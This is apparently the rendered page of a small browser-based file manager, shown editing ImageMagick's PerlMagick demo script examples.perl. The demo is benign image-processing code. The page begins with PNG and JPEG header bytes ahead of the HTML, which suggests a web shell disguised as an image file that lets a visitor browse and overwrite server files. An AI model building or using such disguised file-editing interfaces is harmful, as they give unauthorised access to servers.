�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2FImageMagick-7.1.2-30%2F'>ImageMagick-7.1.2-30</a>/<a href='?path=%2Fbig%2FSRC%2FImageMagick-7.1.2-30%2Fwww%2F'>www</a>/<a href='?path=%2Fbig%2FSRC%2FImageMagick-7.1.2-30%2Fwww%2Fsource%2F'>source</a>/</p><hr><h3>✏️ Editing: examples.perl</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/usr/bin/perl
#
# Overall demo of the major PerlMagick methods.
#
use Image::Magick;

#
# Read model &amp; smile image.
#
print &quot;Read...\n&quot;;
$null=Image::Magick-&gt;new;
$null-&gt;Set(size=&gt;&#039;70x70&#039;);
$x=$null-&gt;ReadImage(&#039;NULL:black&#039;);
warn &quot;$x&quot; if &quot;$x&quot;;

$model=Image::Magick-&gt;new();
$x=$model-&gt;ReadImage(&#039;model.gif&#039;);
warn &quot;$x&quot; if &quot;$x&quot;;
$model-&gt;Label(&#039;Magick&#039;);
$model-&gt;Set(background=&gt;&#039;white&#039;);

$smile=Image::Magick-&gt;new;
$x=$smile-&gt;ReadImage(&#039;smile.gif&#039;);
warn &quot;$x&quot; if &quot;$x&quot;;
$smile-&gt;Label(&#039;Smile&#039;);
$smile-&gt;Set(background=&gt;&#039;white&#039;);
#
# Create image stack.
#
print &quot;Transform image...\n&quot;;
$images=Image::Magick-&gt;new();

print &quot;Adaptive Blur...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Adaptive Blur&#039;);
$example-&gt;AdaptiveBlur(&#039;0x1&#039;);
push(@$images,$example);

print &quot;Adaptive Resize...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Adaptive Resize&#039;);
$example-&gt;AdaptiveResize(&#039;60%&#039;);
push(@$images,$example);

print &quot;Adaptive Sharpen...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Adaptive Sharpen&#039;);
$example-&gt;AdaptiveSharpen(&#039;0x1&#039;);
push(@$images,$example);

print &quot;Adaptive Threshold...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Adaptive Threshold&#039;);
$example-&gt;AdaptiveThreshold(&#039;5x5+5%&#039;);
push(@$images,$example);

print &quot;Add Noise...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Add Noise&#039;);
$example-&gt;AddNoise(&quot;Laplacian&quot;);
push(@$images,$example);

print &quot;Annotate...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Annotate&#039;);
$example-&gt;Annotate(font=&gt;&#039;Generic.ttf&#039;,text=&gt;&#039;Magick&#039;,geometry=&gt;&#039;+0+20&#039;,
  fill=&gt;&#039;gold&#039;,gravity=&gt;&#039;North&#039;,pointsize=&gt;14);
push(@$images,$example);

print &quot;Auto-gamma...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Auto Gamma&#039;);
$example-&gt;AutoGamma();
push(@$images,$example);

print &quot;Auto-level...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Auto Level&#039;);
$example-&gt;AutoLevel();
push(@$images,$example);

print &quot;Auto-threshold...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Auto Threshold&#039;);
$example-&gt;AutoThreshold();
push(@$images,$example);

print &quot;Bilateral Blur...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Bilateral Blur&#039;);
$example-&gt;BilateralBlur(&#039;8x8&#039;);
push(@$images,$example);

print &quot;Blur...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Blur&#039;);
$example-&gt;Blur(&#039;0.0x1.0&#039;);
push(@$images,$example);

print &quot;Border...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Border&#039;);
$example-&gt;Border(geometry=&gt;&#039;6x6&#039;,color=&gt;&#039;gold&#039;);
push(@$images,$example);

print &quot;CLAHE...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;CLAHE&#039;);
$example-&gt;CLAHE(&#039;128x192+32+3&#039;);
push(@$images,$example);

print &quot;Channel...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Channel&#039;);
$example-&gt;Channel(channel=&gt;&#039;red&#039;);
push(@$images,$example);

print &quot;Charcoal...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Charcoal&#039;);
$example-&gt;Charcoal(&#039;2x1&#039;);
push(@$images,$example);

print &quot;ColorMatrix...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;ColorMatrix&#039;);
$example-&gt;ColorMatrix([1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0.5, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1]);
push(@$images,$example);

print &quot;Colorspace...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Colorspace&#039;);
$example-&gt;Colorspace(&#039;Lab&#039;);
push(@$images,$example);

print &quot;Composite...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Composite&#039;);
$example-&gt;Composite(image=&gt;$smile,compose=&gt;&#039;over&#039;,geometry=&gt;&#039;+35+65&#039;);
$example-&gt;Clamp();
push(@$images,$example);

print &quot;Contrast...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Contrast&#039;);
$example-&gt;Contrast();
push(@$images,$example);

print &quot;Contrast Stretch...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Contrast Stretch&#039;);
$example-&gt;ContrastStretch(&#039;5%&#039;);
push(@$images,$example);

print &quot;Convolve...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Convolve&#039;);
$example-&gt;Convolve([0.125, 0.125, 0.125, 0.125, 0.5, 0.125, 0.125, 0.125, 0.125]);
push(@$images,$example);

print &quot;Crop...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Crop&#039;);
$example-&gt;Crop(geometry=&gt;&#039;80x80+25+50&#039;);
$example-&gt;Set(page=&gt;&#039;0x0+0+0&#039;);
push(@$images,$example);

print &quot;Despeckle...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Despeckle&#039;);
$example-&gt;Despeckle();
push(@$images,$example);

print &quot;Distort...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Distort&#039;);
$example-&gt;Distort(method=&gt;&#039;arc&#039;,points=&gt;[60],&#039;virtual-pixel&#039;=&gt;&#039;white&#039;);
push(@$images,$example);

print &quot;Draw...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Draw&#039;);
$example-&gt;Draw(fill=&gt;&#039;none&#039;,stroke=&gt;&#039;gold&#039;,primitive=&gt;&#039;circle&#039;,
  points=&gt;&#039;60,90 60,120&#039;,strokewidth=&gt;2);
push(@$images,$example);

print &quot;Detect Edges...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Detect Edges&#039;);
$example-&gt;Edge(&#039;2x0.5&#039;);
$example-&gt;Clamp();
push(@$images,$example);

print &quot;Emboss...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Emboss&#039;);
$example-&gt;Emboss(&#039;0x1&#039;);
push(@$images,$example);

print &quot;Encipher...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Encipher&#039;);
$example-&gt;Encipher(&#039;Magick&#039;);
push(@$images,$example);

print &quot;Equalize...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Equalize&#039;);
$example-&gt;Equalize();
push(@$images,$example);

print &quot;Explode...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Explode&#039;);
$example-&gt;Implode(-1);
push(@$images,$example);

print &quot;Flip...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Flip&#039;);
$example-&gt;Flip();
push(@$images,$example);

print &quot;Flop...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Flop&#039;);
$example-&gt;Flop();
push(@$images,$example);

print &quot;Frame...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Frame&#039;);
$example-&gt;Frame(&#039;15x15+3+3&#039;);
push(@$images,$example);

print &quot;Fx...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Fx&#039;);
push(@$images,$example-&gt;Fx(expression=&gt;&#039;0.5*u&#039;));

print &quot;Gamma...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Gamma&#039;);
$example-&gt;Gamma(1.6);
push(@$images,$example);

print &quot;Gaussian Blur...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Gaussian Blur&#039;);
$example-&gt;GaussianBlur(&#039;0.0x1.5&#039;);
push(@$images,$example);

print &quot;Gradient...\n&quot;;
$gradient=Image::Magick-&gt;new;
$gradient-&gt;Set(size=&gt;&#039;130x194&#039;);
$x=$gradient-&gt;ReadImage(&#039;gradient:#20a0ff-#ffff00&#039;);
warn &quot;$x&quot; if &quot;$x&quot;;
$gradient-&gt;Label(&#039;Gradient&#039;);
push(@$images,$gradient);

print &quot;Grayscale...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Grayscale&#039;);
$example-&gt;Set(type=&gt;&#039;grayscale&#039;);
push(@$images,$example);

print &quot;Implode...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Implode&#039;);
$example-&gt;Implode(0.5);
push(@$images,$example);

print &quot;Kuwahara...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Kuwahara&#039;);
$example-&gt;Kuwahara(&#039;0x1&#039;);
push(@$images,$example);

print &quot;Level...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Level&#039;);
$example-&gt;Level(&#039;20%x&#039;);
$example-&gt;Clamp();
push(@$images,$example);

print &quot;Linear stretch...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Linear Stretch&#039;);
$example-&gt;LinearStretch(&#039;5x5&#039;);
push(@$images,$example);

print &quot;Median Filter...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Median Filter&#039;);
$example-&gt;MedianFilter(&#039;4x4&#039;);
push(@$images,$example);

print &quot;Mode...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Mode&#039;);
$example-&gt;Mode(&#039;4x4&#039;);
push(@$images,$example);

print &quot;Modulate...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Modulate&#039;);
$example-&gt;Modulate(brightness=&gt;110,saturation=&gt;110,hue=&gt;110);
push(@$images,$example);
$example=$model-&gt;Clone();

print &quot;Monochrome...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Monochrome&#039;);
$example-&gt;Quantize(colorspace=&gt;&#039;gray&#039;,colors=&gt;2,dither=&gt;&#039;false&#039;);
push(@$images,$example);

print &quot;Morphology...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Morphology&#039;);
$example-&gt;Morphology(method=&gt;&#039;Dilate&#039;,kernel=&gt;&#039;Diamond&#039;,iterations=&gt;2);
push(@$images,$example);

print &quot;Motion Blur...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Motion Blur&#039;);
$example-&gt;MotionBlur(&#039;0x13+10-10&#039;);
push(@$images,$example);

print &quot;Negate...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Negate&#039;);
$example-&gt;Negate();
push(@$images,$example);

print &quot;Normalize...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Normalize&#039;);
$example-&gt;Normalize();
push(@$images,$example);

print &quot;Oil Paint...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Oil Paint&#039;);
$example-&gt;OilPaint(&#039;2x0.5&#039;);
push(@$images,$example);

print &quot;Plasma...\n&quot;;
$plasma=Image::Magick-&gt;new;
$plasma-&gt;Set(size=&gt;&#039;130x194&#039;);
$x=$plasma-&gt;ReadImage(&#039;plasma:fractal&#039;);
warn &quot;$x&quot; if &quot;$x&quot;;
$plasma-&gt;Label(&#039;Plasma&#039;);
push(@$images,$plasma);

print &quot;Polaroid...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Polaroid&#039;);
$example-&gt;Polaroid(caption=&gt;&#039;Magick&#039;,angle=&gt;-5.0,gravity=&gt;&#039;center&#039;);
push(@$images,$example);

print &quot;Posterize...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Posterize&#039;);
$example-&gt;Posterize(5);
push(@$images,$example);

print &quot;Quantize...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Quantize&#039;);
$example-&gt;Quantize();
push(@$images,$example);

print &quot;Rotational Blur...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Rotational Blur&#039;);
$example-&gt;RotationalBlur(10);
push(@$images,$example);

print &quot;Raise...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Raise&#039;);
$example-&gt;Raise(&#039;10x10&#039;);
push(@$images,$example);

print &quot;Reduce Noise...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Reduce Noise&#039;);
$example-&gt;ReduceNoise(&#039;2x2&#039;);
push(@$images,$example);

print &quot;Resize...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Resize&#039;);
$example-&gt;Resize(&#039;60%&#039;);
push(@$images,$example);

print &quot;Roll...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Roll&#039;);
$example-&gt;Roll(geometry=&gt;&#039;+20+10&#039;);
push(@$images,$example);

print &quot;Rotate...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Rotate&#039;);
$example-&gt;Rotate(45);
push(@$images,$example);

print &quot;Sample...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Sample&#039;);
$example-&gt;Sample(&#039;60%&#039;);
push(@$images,$example);

print &quot;Scale...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Scale&#039;);
$example-&gt;Scale(&#039;60%&#039;);
push(@$images,$example);

print &quot;Segment...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Segment&#039;);
$example-&gt;Segment();
push(@$images,$example);

print &quot;Shade...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Shade&#039;);
$example-&gt;Shade(geometry=&gt;&#039;30x30&#039;,gray=&gt;&#039;true&#039;);
push(@$images,$example);

print &quot;Sharpen...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Sharpen&#039;);
$example-&gt;Sharpen(&#039;0.0x1.0&#039;);
$example-&gt;Clamp();
push(@$images,$example);

print &quot;Shave...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Shave&#039;);
$example-&gt;Shave(&#039;10x10&#039;);
push(@$images,$example);

print &quot;Shear...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Shear&#039;);
$example-&gt;Shear(&#039;-20x20&#039;);
push(@$images,$example);

print &quot;Sketch...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Sketch&#039;);
$example-&gt;Set(colorspace=&gt;&#039;Gray&#039;);
$example-&gt;Sketch(&#039;0x20+120&#039;);
push(@$images,$example);

print &quot;Sigmoidal Contrast...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Sigmoidal Contrast&#039;);
$example-&gt;SigmoidalContrast(&quot;3x50%&quot;);
push(@$images,$example);

print &quot;Spread...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Spread&#039;);
$example-&gt;Spread();
push(@$images,$example);

print &quot;Solarize...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Solarize&#039;);
$example-&gt;Solarize();
push(@$images,$example);

print &quot;Swirl...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Swirl&#039;);
$example-&gt;Swirl(90);
push(@$images,$example);

print &quot;Tint...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Tint&#039;);
$example-&gt;Tint(&#039;wheat&#039;);
push(@$images,$example);

print &quot;Unsharp Mask...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Unsharp Mask&#039;);
$example-&gt;UnsharpMask(&#039;0.0x1.0&#039;);
$example-&gt;Clamp();
push(@$images,$example);

print &quot;Vignette...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Vignette&#039;);
$example-&gt;Vignette(&#039;0x20&#039;);
push(@$images,$example);

print &quot;Wave...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Wave&#039;);
$example-&gt;Wave(&#039;25x150&#039;);
push(@$images,$example);

print &quot;WaveletDenoise...\n&quot;;
$example=$model-&gt;Clone();
$example-&gt;Label(&#039;Wavelet Denoise&#039;);
$example-&gt;WaveletDenoise(&#039;5%&#039;);
push(@$images,$example);

#
# Create image montage.
#
print &quot;Montage...\n&quot;;
$montage=$images-&gt;Montage(font=&gt;&#039;Generic.ttf&#039;,geometry=&gt;&#039;160x200+8+4&gt;&#039;,
  gravity=&gt;&#039;Center&#039;,tile=&gt;&#039;5x+10+200&#039;,compose=&gt;&#039;over&#039;,background=&gt;&#039;#ffffff&#039;,
  pointsize=&gt;20,fill=&gt;&#039;#600&#039;,stroke=&gt;&#039;none&#039;,shadow=&gt;&#039;true&#039;);

$logo=Image::Magick-&gt;new();
$logo-&gt;Read(&#039;logo:&#039;);
$logo-&gt;Zoom(&#039;40%&#039;);
$montage-&gt;Composite(image=&gt;$logo,gravity=&gt;&#039;North&#039;);

print &quot;Write...\n&quot;;
$montage-&gt;Set(matte=&gt;&#039;false&#039;);
$montage-&gt;Write(&#039;demo.jpg&#039;);
print &quot;Display...\n&quot;;
$montage-&gt;Write(&#039;win:&#039;);
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2FImageMagick-7.1.2-30%2Fwww%2Fsource'>🔙 Back</a></p>